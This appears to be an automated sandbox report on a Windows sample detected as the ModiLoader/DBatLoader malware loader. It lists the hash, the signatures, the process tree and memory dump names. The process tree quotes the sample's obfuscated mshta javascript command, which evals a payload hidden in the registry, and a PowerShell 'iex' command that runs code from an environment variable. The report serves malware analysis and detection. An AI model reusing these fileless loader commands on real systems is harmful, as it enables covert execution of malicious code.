Analysis
- max time kernel
142s - max time network
109s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
03/05/2024, 02:45
General
- Target 0f7e42638c9af30868a26ba1bb3ec3eb_JaffaCakes118.exe
- Size 353KB
- Sample240503-c8243adb51
- SHA256 344616174a27817a2074dd8b8e8e5c9836e326ffd5271f2f96277ba8c918e051
Malware Config
Signatures
- ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- ModiLoader Second Stage 9 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\0f7e42638c9af30868a26ba1bb3ec3eb_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\0f7e42638c9af30868a26ba1bb3ec3eb_JaffaCakes118.exe"1⤵
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:taY3LxiD="e9bAZrH";i13U=new%20ActiveXObject("WScript.Shell");QNNjZ6s9="ay4D";s7Jne=i13U.RegRead("HKCU\\software\\Xbj8TIw\\13WUPYia");rtUI8zx="vmfiI";eval(s7Jne);LTNfK7xl="V";1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:ldwusiis2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_dztzggau.eyo.ps1
memory/3984-11-0x0000000005520000-0x0000000005556000-memory.dmp
memory/3984-27-0x0000000006940000-0x000000000698C000-memory.dmp
memory/3984-29-0x0000000006E10000-0x0000000006E2A000-memory.dmp
memory/3984-28-0x0000000008170000-0x00000000087EA000-memory.dmp
memory/3984-26-0x0000000006910000-0x000000000692E000-memory.dmp
memory/3984-14-0x0000000005BA0000-0x0000000005C06000-memory.dmp
memory/3984-25-0x0000000006410000-0x0000000006764000-memory.dmp
memory/3984-15-0x00000000063A0000-0x0000000006406000-memory.dmp
memory/3984-12-0x0000000005C40000-0x0000000006268000-memory.dmp
memory/3984-13-0x0000000005B00000-0x0000000005B22000-memory.dmp
memory/5084-2-0x00000000021E0000-0x00000000022BC000-memory.dmp
memory/5084-0-0x0000000000457000-0x0000000000459000-memory.dmp
memory/5084-9-0x00000000021E0000-0x00000000022BC000-memory.dmp
memory/5084-8-0x00000000021E0000-0x00000000022BC000-memory.dmp
memory/5084-1-0x0000000000400000-0x000000000045FF20-memory.dmp
memory/5084-3-0x00000000021E0000-0x00000000022BC000-memory.dmp
memory/5084-4-0x00000000021E0000-0x00000000022BC000-memory.dmp
memory/5084-6-0x00000000021E0000-0x00000000022BC000-memory.dmp
memory/5084-7-0x0000000000400000-0x000000000045FF20-memory.dmp
memory/5084-5-0x00000000021E0000-0x00000000022BC000-memory.dmp
memory/5084-34-0x0000000000457000-0x0000000000459000-memory.dmp